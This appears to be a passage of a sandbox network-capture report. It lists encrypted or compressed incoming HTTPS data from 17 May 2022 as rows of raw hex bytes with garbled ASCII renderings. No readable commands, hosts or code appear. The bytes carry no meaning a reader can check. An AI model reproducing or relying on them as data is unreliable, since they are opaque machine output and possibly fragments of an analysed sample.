2022-05-17 14:51:08 UTC	92	IN	Data Raw: ad 21 b1 f7 74 0f 06 4b 02 a3 6f c4 58 98 59 97 f8 ee e5 a8 2a 17 73 b8 f2 25 d1 fa bf 2a 9f c7 01 c2 86 4f 6d 9b f3 95 2d 96 d8 1b e5 8a ca ea a8 c1 95 db 4c 50 f8 6b 09 04 dd cb 61 d8 b4 a6 a8 f3 4c 3a 55 a7 9d f1 5a 4f 33 2c 0a 40 bb 26 d6 17 a5 dd df bf 5c 13 fb d5 1f 46 9e 44 8e cc 92 bb 38 13 bc 5d 10 8b 2d 12 c9 cf f5 5a 4e ee 9f 4b 1a fb 6d 13 6f 8b cd 60 44 72 fc 07 9b d7 de 6b 2a e5 b2 a9 ab ba 54 66 13 d2 17 42 e4 09 5b f9 4d 4b 3a e7 b0 bf 7b ee 29 7c 19 a9 15 28 ee cd 89 d3 3d 51 82 24 12 0f 01 22 79 38 69 ab 40 1e 29 e9 48 ab e8 2b 73 67 a4 c6 1d db f4 d9 9c 61 42 af c7 22 70 1b a1 03 a7 10 a3 24 7d 86 9e 5a 6d 5d 7a e0 b3 52 b2 6e d6 ea 09 bf 15 1d 49 9e 50 fc 58 80 f1 dc 57 30 53 ad c2 1c c0 b9 0a 4f 72 fd f1 87 e7 1b e4 03 ef 68 9f d6 6c Data Ascii: !tKoXYs%Om-LPkaL:UZO3,@&\FD8]-ZNKmo`Drk*TfB[MK:{)\|(=Q$"y8i@)H+sgaB"p$}Zm]zRnIPXW0SOrhl
2022-05-17 14:51:08 UTC	93	IN	Data Raw: 4c b8 34 08 a1 86 2a 3a ed 88 67 6c c2 23 ab 59 f0 38 cc 15 ac e9 e9 80 26 14 84 78 fd 18 3e f2 c2 6b 73 3c 28 c1 3f 88 96 c8 d8 38 80 1f d8 26 ea 15 e6 7c 9d 42 c8 26 de 0e bf ea a7 71 77 8d dc d0 62 e0 b5 4d e8 95 1c b0 73 6b 79 56 85 de 91 24 6e 00 a6 36 d9 27 cb 69 a1 c5 30 ee 7c 76 5b be 05 c1 12 da fd 49 38 13 d7 62 15 f9 56 8b 31 3b df 45 2d 78 12 11 13 a5 95 79 ca 65 35 ca e2 d9 85 bf f3 a1 14 5f 44 5b 4a 09 81 46 f7 cc f4 2f 0a fd 83 e4 45 b3 08 7c 98 cf b4 f8 2d 6d ea 32 5f 3a 8d 3d d4 c7 c3 12 0f c5 c1 a5 86 98 38 5f 59 93 fb 9b 82 be db c5 d3 66 57 9b 2b 3d 60 79 80 d0 5c 26 e6 3f c5 48 09 69 37 0c 94 07 1e 8b 5c 2b 95 8c dc 77 cf 9e 6f 6f b4 82 2a a8 38 be 2a 1f e2 a9 c7 7a c9 0f f2 7f b6 fd 14 66 6e 75 6e 38 3a bb f2 dd db ff c9 78 49 53 fa Data Ascii: L4:gl#Y8&x>ks<(?8&\|B&qwbMskyV$n6'i0\|v[I8bV1;E-xye5_D[JF/E\|-m2_:=8_YfW+=`y\&?Hi7\+woo8*zfnun8:xIS
2022-05-17 14:51:08 UTC	94	IN	Data Raw: e9 18 38 98 a7 d2 a9 22 46 9f 05 41 3e 66 69 2a 56 05 ee 5e 3f 1b ab 39 be d3 2a 6e 6b 8a c8 16 e2 aa b6 f4 75 53 a5 e9 24 78 68 b3 28 80 29 d2 4a 3d cd f7 22 38 12 4f f1 b6 72 d2 51 a9 87 30 da 64 5e 63 82 03 da 16 86 bf 9b 72 32 40 e3 cc 6e 84 cd 11 46 7b e1 c4 93 b5 67 a3 68 84 4c ad 84 2f ef a4 f1 00 49 2b db 3e 2c 8a 7f 61 14 45 db 9a a7 e4 6a 60 37 ed 10 0c 2a be 5a c8 6e 0c 3b 7a 22 f1 ea ce ac 9f 03 bb 4c 41 b3 ff 77 f7 ee 0b 33 9f 3d 94 62 f0 6e 0f 9a 11 de 3d 55 e6 9b ca 3c 6e 20 2a 9b 3f 79 b4 29 c5 cb c2 2f ae 89 26 5a 63 a6 cc 24 21 6f 6c ee 2d 57 ce 9f a8 1d d4 e4 86 17 35 77 69 23 d8 23 24 f7 2c 6b c7 2e f1 1c f6 6a f5 28 10 80 0a 6d db 2c 61 dc 5e 53 de 68 0e 12 04 5e 9c 0b 99 f9 fa 57 1a 3c b8 6c 5c 47 67 fe 97 76 5e 1e 5e 8d 03 ff cc 9e Data Ascii: 8"FA>fiV^?9nkuS$xh()J="8OrQ0d^cr2@nF{ghL/I+>,aEj`7Zn;z"LAw3=bn=U<n ?y)/&Zc$!ol-W5wi##$,k.j(m,a^Sh^W<l\Ggv^^
2022-05-17 14:51:08 UTC	95	IN	Data Raw: e4 0b 5d 9c 32 79 6d db 5e b8 98 c1 45 18 d0 a9 85 fa eb 50 17 40 84 89 aa 98 9e ea de b4 52 6e cf 15 5a 54 5a 8c 97 7d 0b f3 6f f9 7d 13 58 33 02 8e 0c 09 ba 0e 53 da fb 9d 05 ec 95 65 67 91 a0 29 f2 7a ad 51 06 ae df c1 06 fc 34 f9 53 96 b7 41 6d 68 1e 78 40 7a a4 e2 80 eb f2 b7 0b 38 22 b6 33 79 05 da 24 82 90 d2 86 e5 9a 06 80 64 fa fe ae a5 04 a7 d3 e2 91 a9 84 e0 13 f7 07 8b 50 b3 18 7f ef 5c 70 74 de b5 b1 fb e5 2a ac d0 96 ff 5e bf bc 5e 1c 48 1e 8a d8 0e 6c 5f f5 f6 9c d0 57 f6 b5 b2 ff 19 cb 8f 76 7c ea da 67 cb de 15 1e 06 66 3d af 78 fa 4e b6 7b ae dd d8 f8 8e 05 2f 47 94 9b 78 8b b4 fb 24 89 ea 08 fb a0 3b 27 ea b4 ba 09 f6 d3 04 e2 bf ff b8 cf 92 9a e9 61 78 88 0d 4b 1f dd e0 46 d3 cd 9c b8 f4 44 1c 26 98 b4 ec 4c 73 78 64 5e 28 df 26 e0 77 Data Ascii: ]2ym^EP@RnZTZ}o}X3Seg)zQ4SAmhx@z8"3y$dP\pt*^^Hl_Wv\|gf=xN{/Gx$;'axKFD&Lsxd^(&w
2022-05-17 14:51:08 UTC	97	IN	Data Raw: 00 07 e3 ac c1 31 78 15 12 ee 11 46 94 3b a0 ae ff 71 b3 ac 37 6c 3d f6 9e 7e 1c 1e 03 aa 53 4a d7 ab af 3a fc d9 94 27 37 26 7d 64 b5 46 61 b9 14 44 f1 19 d3 37 e8 40 e2 02 1f a1 08 1d b4 29 5d d4 60 52 af 39 05 54 70 55 bc 63 c3 97 b0 4a 3e 06 9a 44 48 51 6d fd 9b 7c 4d 0b 5f b4 0b a2 e2 82 38 e0 8a 5f 15 6a 65 89 0c e4 58 3d 57 be 5d 86 d1 d9 09 7f c0 0a c3 99 98 d0 6e 59 16 05 95 a9 8b 6b 75 c6 6c 3d d2 6f 4e 56 e2 32 ea f4 72 78 16 e5 11 34 0a 34 3b 7b d3 bc f1 08 0a 96 b2 3a 1c 1a af e5 c1 d3 02 bb cf 1d 5d 28 bb 4c 33 92 e4 7d 5c a7 fc 42 30 d7 42 db 5f c5 5e e8 12 99 ec d4 f6 38 1f 89 73 e9 2f 0e ac ea 7a 5b 1d 20 df 02 b2 86 db a6 21 d1 50 9c 03 c1 11 d5 13 e9 5c c3 4d ad 41 f9 ef b1 11 73 9c ff d8 01 9d e3 4c a5 ee 66 e5 28 75 43 40 b4 e1 d0 28 Data Ascii: 1xF;q7l=~SJ:'7&}dFaD7@)]`R9TpUcJ>DHQm\|M_8_jeX=W]nYkul=oNV2rx44;{:](L3}\B0B_^8s/z[ !P\MAsLf(uC@(
2022-05-17 14:51:08 UTC	97	IN	Data Raw: 45 14 e3 80 58 e6 a2 38 47 10 f7 8f 96 b8 75 94 51 e7 6c ce e3 68 bb a7 e6 41 2b 25 84 7a 2c c6 5b 40 0a 65 ca 94 84 b3 4e 26 26 db 14 08 3e a5 7f ef 59 62 51 16 6e ba a0 a3 a7 dd 4a 84 5d 78 b0 d6 15 8e c9 0c 1c ab 12 c0 3b 9e 48 5f 9f 68 cb 41 19 e3 dd ba 76 47 41 20 e9 16 72 bc 57 d5 b1 e1 13 a5 8f 3f 68 32 9b b9 28 59 69 64 b4 53 3b 84 c7 b7 5f cf b5 be 08 31 25 3a 56 a1 58 1b d5 3b 24 e9 11 ec 1c da 70 c5 60 77 d1 7d 04 9c 72 3c ef 43 76 da 20 7c 7c 4d 25 89 6e 8f d6 e3 41 20 1b a5 67 6b 36 33 cf dd 38 4c 34 49 85 79 c4 eb 82 0c d4 b1 08 1b 04 14 f3 08 d3 79 2d 10 be 56 ce 87 e9 53 77 c5 6d cc b8 b2 dd 47 6c 03 5b b7 85 e7 07 51 ed 47 28 f2 33 6b 00 ef 6e 80 c2 03 08 2f 9c 2b 5b 27 59 03 3d bd 80 e2 0c 36 90 bb 13 67 36 88 cb 97 b2 04 f4 b1 6b 39 25 Data Ascii: EX8GuQlhA+%z,[@eN&&>YbQnJ]x;H_hAvGA rW?h2(YidS;_1%:VX;$p`w}r<Cv \|\|M%nA gk638L4Iyy-VSwmGl[QG(3kn/+['Y=6g6k9%
2022-05-17 14:51:08 UTC	99	IN	Data Raw: 12 aa 44 d6 91 44 53 10 13 52 3f 0c 8f e0 a5 c8 f7 9f 12 38 35 8b 51 6c 72 d8 29 d0 d1 84 83 f5 8f 0c a7 5b 81 e1 a4 f9 60 f5 a2 aa da 88 a7 e4 35 c2 2c af 27 8b 06 53 e0 28 0b 63 d0 d6 b5 9e cc 0a b8 cd bf c7 5d a2 b3 77 56 3a 52 c0 b2 07 65 78 f9 85 db e7 52 8f c7 a6 86 05 c6 9e 17 3f ec db 7a cb bf 2a 15 7d 67 2c a0 40 e1 3e ac 67 ce e0 d3 dd dd 21 3e 59 ab fd 49 86 e2 dd 0c 8b fc 01 9c 8a 7d 4e 86 f8 c0 63 f3 c7 51 fe 88 e0 f3 c7 b5 99 da 54 5f ab 03 32 0e fd d9 49 f6 8c dc 85 ba 49 5d 31 c3 88 96 4d 6d 2a 65 4e 12 f2 18 c8 36 9e da d5 a9 62 32 da ce 15 12 92 07 a8 e4 e6 cf 7e 54 85 5c 28 93 3f 3e 95 cf ec 2f 60 eb aa 03 44 ae 04 76 79 a4 dd 3b 43 65 e0 5a cc ff da 7c 22 e0 d6 fc d5 d9 10 66 6e d0 74 2d e5 4c 0d 82 35 65 17 8c 9b be 68 df 47 4e 16 8f Data Ascii: DDSR?85Qlr)[`5,'S(c]wV:RexR?z}g,@>g!>YI}NcQT_2II]1MmeN6b2~T\(?>/`Dvy;CeZ\|"fnt-L5ehGN
2022-05-17 14:51:08 UTC	100	IN	Data Raw: 90 f1 be 4e 39 63 86 5a 4b 43 36 f2 fe 26 00 3f 76 99 15 ee de 80 5b e2 ea 5c 5e 02 35 cb 44 d0 69 5c 52 90 47 8a f4 83 33 33 f3 4f ca dc e5 d7 6e 1b 13 0b 9d ba b0 34 46 e6 58 52 a3 7e 3d 46 f6 39 f3 80 4a 6d 18 c3 1f 08 2e 7f 49 0a af 8a 99 0e 2e be a1 62 18 11 aa e3 92 ea 3c a8 bc 1c 6d 56 91 18 1c 91 80 73 0d ee 8d 64 6b cd 4e a8 6b fb 4d e6 38 8a cb cd b1 27 1b a6 51 9b 12 58 95 b9 13 6c 0e 2c e2 3d 81 93 f4 ad 41 d5 46 b5 2d a8 05 dd 7d e1 68 9a 7b e5 1d c3 fb aa 79 5d 83 e3 ed 05 a8 fa 4b e7 eb 77 d1 7f 2d 78 7b 9f cd 96 6f 79 14 a7 1b c3 22 89 74 fb e5 2a cd 2d 58 1c 9b 77 fc 31 c4 b1 0d 0c 10 e2 42 2d df 49 bf 2c 19 e0 1c 28 22 2d 0d 0d 8f ea 25 b6 62 1c f8 b6 c7 91 9c a9 92 28 37 7f 78 66 65 d1 73 d6 88 a8 33 7e c0 a0 fa 09 b3 09 5d 89 dd b3 e7 Data Ascii: N9cZKC6&?v[\^5Di\RG33On4FXR~=F9Jm.I.b<mVsdkNkM8'QXl,=AF-}h{y]Kw-x{oy"t*-Xw1B-I,("-%b(7xfes3~]
2022-05-17 14:51:08 UTC	101	IN	Data Raw: 60 91 9b d8 a7 d1 0d 30 65 88 ba a0 58 4e 77 48 6d 07 dc 36 c4 04 d7 a7 df dc 75 78 bc be 6e 54 e3 37 9b d0 ff c2 68 52 a2 4a 34 f7 2d 3e d7 bd dc 73 5f fd fd 76 14 c5 6f 1c 41 92 c8 7c 5e 4b f0 78 d0 84 e5 53 5e c1 cf c2 a9 b2 21 30 61 ef 33 26 c3 34 0b 9d 46 79 3e b4 bd 99 47 f0 4e 5c 4e 92 1a 2a 93 e2 9c ec 01 0f a4 63 53 49 09 59 32 4b 06 b0 46 0b 35 d8 39 a6 ed 5d 02 0d f0 d2 3b f6 a0 a3 90 71 71 e5 9f 36 75 06 bb 73 b0 22 c3 2f 7b cc be 55 26 12 3e b0 de 76 d1 7e cc a5 45 f4 5b 07 78 9e 5c c2 00 b3 f3 d1 5e 30 73 9a a2 3f 9a cd 60 36 7e e3 eb b7 96 60 94 12 a7 28 8e d4 6e ba a1 ed 51 27 6e ec 30 74 e4 08 10 46 22 bb cb bf f9 55 40 1c ca 07 58 00 8c 78 ec 4e 61 2f 70 3e d6 95 f6 d2 95 18 97 50 44 b1 d0 71 86 c9 02 01 8d 0e d4 69 b7 64 7b d7 7a 8e 49 Data Ascii: `0eXNwHm6uxnT7hRJ4->s_voA\|^KxS^!0a3&4Fy>GN\N*cSIY2KF59];qq6us"/{U&>v~E[x\^0s?`6~`(nQ'n0tF"U@XxNa/p>PDqid{zI
2022-05-17 14:51:08 UTC	102	IN	Data Raw: ad 5e 62 ea 88 be 03 89 ff 0b ec c2 76 fc 73 1a 0b 12 82 da f8 7b 49 22 b0 67 e4 16 fb 6d f5 ee 24 cf 4d 68 31 dd 60 9a 7f 8f 99 50 14 51 d9 5a 12 f9 5b de 1b 65 e3 45 0a 6d 36 67 12 af ee 11 dd 10 25 f6 9e db c5 8c af 83 2e 5c 58 5e 42 20 e0 31 dd eb b7 3d 26 f4 f6 90 39 bb 22 45 8f eb f1 d0 2a 77 83 50 22 2c ae 7a ad c2 e9 16 60 80 d3 c9 ca d7 6f 37 08 aa 85 ad 8c 9e db df 81 7b 77 b2 2d 3c 78 56 ba d2 4c 3b d6 49 c4 5a 28 7d 76 31 9f 02 22 af 1f 7d 84 92 d9 59 da a7 10 1f d5 f4 1a a6 5c a4 54 1f 92 ca f6 19 ca 63 b9 55 8f 83 51 7c 1d 0f 44 79 12 8f cb ac cc d5 bc 11 26 44 9d 2f 5e 73 c3 24 9b de 97 c9 fa 97 48 f8 17 f0 f9 b2 fd 10 89 cf bc ed 87 ac e4 0f ff 08 98 09 88 38 6e e7 18 5a 60 d9 96 b3 f2 fc 00 9e d4 84 a4 42 f4 b1 40 4b 36 7b e5 b0 3d 43 21 Data Ascii: ^bvs{I"gm$Mh1`PQZ[eEm6g%.\X^B 1=&9"E*wP",z`o7{w-<xVL;IZ(}v1"}Y\TcUQ\|Dy&D/^s$H8nZ`B@K6{=C!
2022-05-17 14:51:08 UTC	104	IN	Data Raw: 49 a6 ea 09 bf 15 1d 44 e7 5e ef 3e 88 b8 ea 44 73 72 ae b8 24 dd a3 54 77 21 c1 d3 b1 e7 1b e4 03 ef 68 a0 84 7b f3 86 c5 5d 21 2c f6 08 24 f0 27 1d 08 17 db 9d 81 cb 55 29 4f 95 50 54 2b 9a 03 92 43 5e 75 25 27 b5 d0 ca fd 9d 4b bb 6c 78 e7 8d 34 b0 8e 4d 13 ee 17 c4 24 a4 4c 5c 83 61 be 6e 1d 8d 98 fb 2e 5e 27 73 e3 70 3d ec 1f d5 96 de 37 9b d5 12 50 67 b7 a4 6c 44 16 68 e8 1e 5e e6 80 ab 39 d3 c0 99 51 70 45 48 76 99 29 67 b3 32 53 e5 37 f7 2d d6 5e c1 60 4a f2 63 48 dd 20 39 98 22 71 c6 26 7a 6a 17 10 de 2c a2 e6 be 43 1a 61 94 7f 31 36 0e ec c3 74 04 3a 52 d6 1b fd c3 8d 24 cd 8e 6f 77 6f 51 c7 6b fb 40 5f 55 df 52 b9 83 8f 23 33 fb 7c f9 d2 a1 ce 38 42 37 3d 83 bb e0 02 46 9a 0d 4c 9e 2c 34 5c fb 16 e5 92 49 0c 6d e6 27 1d 06 73 6d 6e 97 9e ef 3f Data Ascii: ID^>Dsr$Tw!h{]!,$'U)OPT+C^u%'Klx4M$L\an.^'sp=7PglDh^9QpEHv)g2S7-^`JcH 9"q&zj,Ca16t:R$owoQk@_UR#3\|8B7=FL,4\Im'smn?
2022-05-17 14:51:08 UTC	105	IN	Data Raw: d1 10 6e 94 87 1a a5 5d d2 7d 57 84 ed b0 7f f8 35 b8 65 a3 bd 13 74 35 07 2b 37 4d e9 9a 9c e4 dc 97 76 0a 1d ac 36 69 07 cd 26 f1 a2 95 e3 f6 91 04 ae 05 9c b5 ea c4 43 eb ee 9d f5 87 88 f2 32 e9 2d 95 56 96 09 63 fc 07 7f 09 8d 9b 96 81 d8 59 d0 80 c5 a8 61 f2 90 6a 41 43 5c ff b2 0e 46 66 e5 d3 c1 b4 6b d5 b0 b5 d8 19 dc fb 7d 48 ba 90 73 f6 b3 2f 3e 69 51 29 a8 76 b0 69 ae 73 cb ea cd ed ac 23 25 6a 81 f7 2e b6 97 b0 34 bf f7 09 d7 c8 5a 32 87 b0 a9 64 85 f3 56 df c6 c5 a3 90 9a dd eb 06 26 cf 6c 44 3b ea d6 62 cc bb 82 c3 f3 2e 6e 4d a6 9c 85 7d 72 44 69 3d 25 d2 3b cb 35 b3 a0 d5 f9 63 02 ca de 36 14 8d 18 dc e9 f7 f4 62 33 c7 27 62 e7 7a 22 9c be c6 49 45 fe ba 50 2c 96 16 19 6e a6 a0 5e 7e 6c b1 6f fe f0 f0 63 1c c5 ef f2 b5 d9 71 7a 36 c7 0c 39 Data Ascii: n]}W5et5+7Mv6i&C2-VcYajAC\Ffk}Hs/>iQ)vis#%j.4Z2dV&lD;b.nM}rDi=%;5c6b3'bz"IEP,n^~locqz69
2022-05-17 14:51:08 UTC	106	IN	Data Raw: 39 4a d0 46 2b 90 63 62 cd 37 60 56 7f 14 82 68 a6 f5 df 53 1b 13 86 5f 46 6a 3c 89 99 38 00 4e 38 de 3d c9 f9 bd 24 b1 98 6e 18 66 24 e2 47 c0 63 5b 56 a8 54 ab 82 a6 31 77 89 3f b6 d6 a7 f8 33 17 0d 34 92 a1 b2 1c 26 ff 47 0d d2 2e 44 46 8a 1f da 93 57 08 63 ab 6a 56 10 3b 4c 20 9b 9f ea 2c 75 8c a9 21 57 2b bb cf d4 ed 16 bc c6 4f 6d 25 e3 79 45 d8 a8 75 0d cc 91 44 4e f6 6b ee 52 f1 4b 86 21 83 e3 c7 ae 4a 19 fa 40 93 61 68 b6 a7 5f 5c 62 05 bf 13 a8 b8 ec cd 51 d2 52 b0 63 e4 46 b9 26 c0 6c a1 1f c7 2c f1 f8 8d 5e 7d 99 e6 cb 03 b2 fc 7f 86 ec 50 db 16 6b 71 12 f3 a9 9a 64 05 70 ae 19 cf 45 ed 23 f9 9f 03 d3 5c 7f 1d ba 79 ac 45 c0 85 69 42 1b 8e 1b 4a ed 4a d5 35 1e df 61 4a 7d 53 1e 39 9f b7 44 93 5b 2c f2 b1 f8 c6 b8 fa ee 5f 4e 31 4e 40 1b e9 31 Data Ascii: 9JF+cb7`VhS_Fj<8N8=$nf$Gc[VT1w?34&G.DFWcjV;L ,u!W+Om%yEuDNkRK!J@ah_\bQRcF&l,^}PkqdpE#\yEiBJJ5aJ}S9D[,_N1N@1
2022-05-17 14:51:08 UTC	108	IN	Data Raw: d1 ac d4 80 90 a7 9c fe 78 6f a9 07 0e 77 94 86 24 94 8e a9 c1 b5 0e 3e 70 ae b0 82 5d 77 6f 44 58 20 c3 6f f3 0b a3 8e c0 b0 0d 45 9f a0 22 53 96 1b a4 f7 d4 e6 5f 06 80 45 46 b4 76 07 e6 ca c1 5e 4b d3 8e 0e 44 ae 04 76 79 f1 e8 44 58 6c c0 0b e6 de c2 65 0a c8 f2 f4 b5 fc 48 6b 15 ca 16 49 8b 78 78 e7 01 52 3f 8f bc aa 5b d0 40 4a 1e a2 3d 2e dd f6 a0 c4 23 74 ba 0b 67 45 01 1f 5a 26 25 e8 5a 3c 6b ae 0a 97 c5 04 6d 7e b9 9b 27 9c 97 85 e6 24 57 97 ea 5e 21 59 8d 0a a8 05 f8 1a 2f 86 95 7d 2c 2f 1d ae 92 73 d0 2c dc af 44 d7 6a 39 42 a1 18 ec 4b bc bc d3 21 0c 7d 90 b0 53 9a f0 3f 59 22 ff df a2 bb 02 bb 7f ea 19 d9 81 7a f2 c1 d4 61 61 2a b6 15 70 d1 11 4e 3e 5b af b5 8b d2 6e 76 35 c4 4e 54 5a e9 0e d6 4d 41 48 0f 29 cb eb f7 a2 f3 18 91 79 7b e3 84 Data Ascii: xow$>p]woDX oE"S_EFv^KDvyDXleHkIxxR?[@J=.#tgEZ&%Z<km~'$W^!Y/},/s,Dj9BK!}S?Y"zaa*pN>[nv5NTZMAH)y{
2022-05-17 14:51:08 UTC	109	IN	Data Raw: d6 75 8c 3c da 2f e7 05 de 77 a1 02 aa 4e fe f4 80 59 5e b2 f1 c8 6c e5 8c 19 e8 d9 51 c4 18 4c 1c 65 b0 f8 c2 7a 0a 74 af 05 ea 05 e4 4d e1 f5 25 f7 7d 7f 07 88 72 97 60 dd 8b 0a 3e 73 c7 49 31 b8 59 88 24 62 f6 13 72 38 58 26 3a bb b7 7d cf 18 27 c2 f6 ea a3 99 e3 e7 6a 34 6d 7e 7d 17 fb 30 fc c7 f2 24 26 92 e0 f7 3b 81 25 23 84 cc df d9 08 41 96 15 46 64 e6 7d a6 d4 d5 34 34 d0 bd a3 f4 e1 0e 23 13 94 9f da d0 a8 c9 d9 a2 62 22 ba 33 6f 64 5b b4 c1 7c 16 e4 4d df 5e 0f 7c 74 1c 9f 72 28 ae 00 27 e7 d8 83 49 af 9e 09 7d c2 fb 09 c7 67 f5 7b 0c ae cf ec 18 e7 2c fd 61 a1 ae 1a 38 5b 65 2b 7b 17 a4 c5 b9 e1 cd c1 2e 0d 25 ff 3a 13 12 f4 0e f8 f9 bf e1 f8 ad 48 c5 34 ee b5 a6 ab 34 8c f6 e2 fa 87 bd ce 3d ec 07 b5 24 8b 3c 44 fa 5f 4b 36 b8 cf fc cb 9c 59 Data Ascii: u</wNY^lQLeztM%}r`>sI1Y$br8X&:}'j4m~}0$&;%#AFd}44#b"3od[\|M^\|tr('I}g{,a8[e+{.%:H44=$<D_K6Y
2022-05-17 14:51:08 UTC	110	IN	Data Raw: 62 9b 00 c5 0b 22 cc a6 4a 55 0b 07 c9 8d 3e 8e 3c fd 9c 48 ef 5e 3b 5e e9 0b e4 1c 85 c1 fd 4a 15 50 a8 92 29 e6 be 0e 71 75 fd 80 c6 f9 1b 95 6b e7 54 9c 85 7e f2 b1 d6 5c 61 5c d6 3f 68 fd 2e 1b 10 52 a0 b7 f3 bc 04 37 4f e4 35 33 62 b2 5e 91 39 4f 7c 77 10 b2 95 c9 ea 9e 34 8c 58 1a 9c da 7e f8 bf 18 56 bb 2c fa 12 9e 70 01 c2 5f a2 73 54 ef f9 d4 2f 0f 22 24 94 15 47 80 53 af fc ae 7e 9d d5 62 63 63 a2 94 5d 51 55 6e b9 2c 53 ec ab 8b 02 e9 ea 81 2a 23 2d 31 23 d8 23 24 c3 07 4a cc 2b e9 38 f3 65 cb 3b 28 a4 1b 70 80 2d 5c f5 65 49 f8 68 0e 12 04 5e 9c 32 8a e1 cb 57 59 03 ae 77 5f 59 61 b9 cd 44 0c 19 5c 8a 21 cc d0 f9 5f 84 fd 05 59 11 32 e6 53 d7 59 6e 23 83 78 83 c3 db 42 02 f2 5d fd ad ef c8 51 13 7d 6d d8 f5 a2 27 26 e4 64 19 f4 33 67 53 c7 30 Data Ascii: b"JU><H^;^JP)qukT~\a\?h.R7O53b^9O\|w4X~V,p_sT/"$GS~bcc]QUn,S*#-1##$J+8e;(p-\eIh^2WYw_YaD\!_Y2SYn#xB]Q}m'&d3gS0
2022-05-17 14:51:08 UTC	111	IN	Data Raw: 55 15 7e 22 3e b4 4b 07 a6 19 77 86 8f be 6c f2 b3 5f 6d 97 b0 6b d2 5d e9 52 00 a1 f7 e3 3b d2 33 a4 65 e7 be 42 71 04 05 63 78 3f af c9 99 8a db 9b 2b 3d 11 ae 1b 58 36 df 2f da f1 83 eb e6 93 1f 9d 57 b9 cd a5 b6 0f a4 9f 96 cd b2 a0 c5 1f de 2b f9 37 a6 19 43 cd 0e 5e 35 aa 9a a0 a5 d8 01 89 80 a5 f9 79 a2 9b 6d 7f 10 6a dd 8c 11 53 5f c8 d3 c6 e4 54 d6 c7 c7 ce 1d e1 a2 29 26 fe e5 6d ff f2 02 18 50 40 2b f0 61 ed 74 97 44 9d d8 f3 c5 83 06 05 79 ac af 77 b6 f7 e2 2b 8b fa 0e d0 96 54 6a 84 b1 a1 34 ab f5 0a d3 90 ca b2 cc e2 f8 c3 4b 7e 8c 23 16 39 cc e2 07 fb 9a 89 96 d7 15 3e 79 9b 8d d5 7a 54 7b 76 63 0d d3 39 e0 21 97 9c d6 e1 5c 2c d2 fa 53 66 ab 14 8f e9 d1 db 62 0d 99 69 16 a5 2b 3f cd 97 f3 18 4b fc bb 6c 30 da 42 26 08 88 ea 46 7b 4b ea 70 Data Ascii: U~">Kwl_mk]R;3eBqcx?+=X6/W+7C^5ymjS_T)&mP@+atDyw+Tj4K~#9>yzT{vc9!\,Sfbi+?Kl0B&F{Kp
2022-05-17 14:51:08 UTC	113	IN	Data Raw: fb 59 30 f4 26 69 e1 1f fd 1a fe 48 ed 13 2b bc 3b 39 ae 33 7a df 77 74 eb 00 40 77 55 63 a9 3b af d1 f9 5e 3d 31 80 5b 69 0b 69 aa 8a 5a 78 36 78 86 3c ef e8 ab 0c cb bc 52 4d 34 11 aa 56 f0 7c 56 20 92 52 96 ca 9d 19 25 da 3f c1 84 9a e0 77 4b 32 6d 9c ad a7 0d 59 c6 60 0a a3 0e 74 56 dc 27 ce 95 49 41 36 ab 05 04 00 6d 3b 3f 8b b9 fe 21 2d af d0 1a 4a 2a 80 c0 c8 f5 07 ac ff 6b 7d 7d aa 26 2b 84 ba 28 35 ea a4 7d 64 ed 7f 9e 7b c6 7e fd 17 bb c0 f7 8a 13 1d a6 37 c9 39 1c ca c9 5a 7c 35 08 db 0a 82 a2 ce 95 51 f2 55 88 57 f9 13 fe 16 ee 64 87 4d d9 0e e1 da 86 64 7b b4 dc 89 05 b7 c0 55 bb cf 58 f2 3a 7f 7b 5b 81 e3 c9 72 3c 2e b0 0d cf 07 df 73 e2 ce 11 ec 76 61 05 ef 5f 99 66 a6 94 57 0b 47 e2 75 1e f0 42 84 11 32 e6 41 1c 7f 16 57 38 86 bc 66 fe 6a Data Ascii: Y0&iH+;93zwt@wUc;^=1[iiZx6x<RM4V\|V R%?wK2mY`tV'IA6m;?!-J*k}}&+(5}d{~79Z\|5QUWdMd{UX:{[r<.sva_fWGuB2AW8fj
2022-05-17 14:51:08 UTC	113	IN	Data Raw: 16 08 3e 9f 7a c9 74 3d 2e 47 34 e2 d4 df ca c3 08 b7 4a 44 bd d3 43 82 da 4f 28 a5 14 d1 24 b3 7c 51 d3 7e 8f 73 24 99 b8 ed 1b 57 05 2a b3 15 6a b4 1c e1 fc ea 26 98 b9 05 68 77 a0 9c 7c 55 46 71 dd 17 4b c2 fa 81 0c ed c8 9b 10 31 62 6a 42 98 7b 26 80 05 65 e7 25 da 07 e2 59 e6 38 3e b8 31 57 8c 34 71 ec 71 76 9f 1c 5d 61 42 11 99 1f a0 d1 8d 5c 0e 24 b3 6c 65 65 6f bd 87 49 58 20 7c 97 24 9b c6 a1 16 c6 b7 56 49 25 1c ec 5e e7 65 09 24 9a 41 96 d4 8d 3c 23 da 5a 95 ac b3 fb 54 57 30 08 88 c8 9a 3c 73 c2 75 20 c5 5d 43 58 c3 23 c8 b6 45 7d 3f d8 21 6b 35 7b 5a 36 9d ab ce 1d 2f 9a bc 34 4d 25 cd ce c3 f4 2c 81 ed 18 72 18 90 1c 11 a2 ac 29 38 84 a6 56 71 df 56 f1 7f c2 66 e7 2c ac f5 ea ad 1c 04 c3 50 cb 28 37 c5 f5 5c 69 56 2d e0 16 86 c1 f8 f0 71 c2 Data Ascii: >zt=.G4JDCO($\|Q~s$W*j&hw\|UFqK1bjB{&e%Y8>1W4qqv]aB\$leeoIX \|$VI%^e$A<#ZTW0<su ]CX#E}?!k5{Z6/4M%,r)8VqVf,P(7\iV-q
2022-05-17 14:51:08 UTC	115	IN	Data Raw: a3 d6 44 92 7e a6 5e f7 6f ce 6b 28 be ed eb 4c fb 70 d4 c1 bf 67 ec 92 66 75 1e d5 74 80 2a 75 1f a8 f7 ff d4 15 a0 b0 a9 91 b1 52 d5 04 a2 73 8d c4 41 5a 19 4d 00 84 86 43 78 21 a8 ae ed 27 85 1a fb 20 f0 bd 1a 66 e4 40 67 11 d2 fe 01 37 ad 83 42 e5 9d 6c b6 7e 22 0a da c5 c5 41 dc 36 82 b0 ef 2c c3 ad ff b4 ba 3b 1d ce 5d f9 aa ab 97 86 bd fa f9 73 a6 69 41 19 fe fc d4 24 3a 1f 90 1e 66 9b 4b 8d 4f e5 e9 ab 89 30 44 b5 94 50 25 c7 65 ec 87 a6 96 04 66 ff 1e 62 c5 45 4b ac f9 97 10 22 8b 4d 8a 71 a6 27 48 00 d9 8b 8a b7 2f 8e 3f ac b4 8b 01 79 a1 8f 90 ec 8a 23 0b 54 83 42 7c a6 70 5c da 73 38 49 cb ce ca 16 80 1a 07 65 d6 7f 43 b5 bf fc 94 55 23 ee 49 2e 68 34 0d fb a2 44 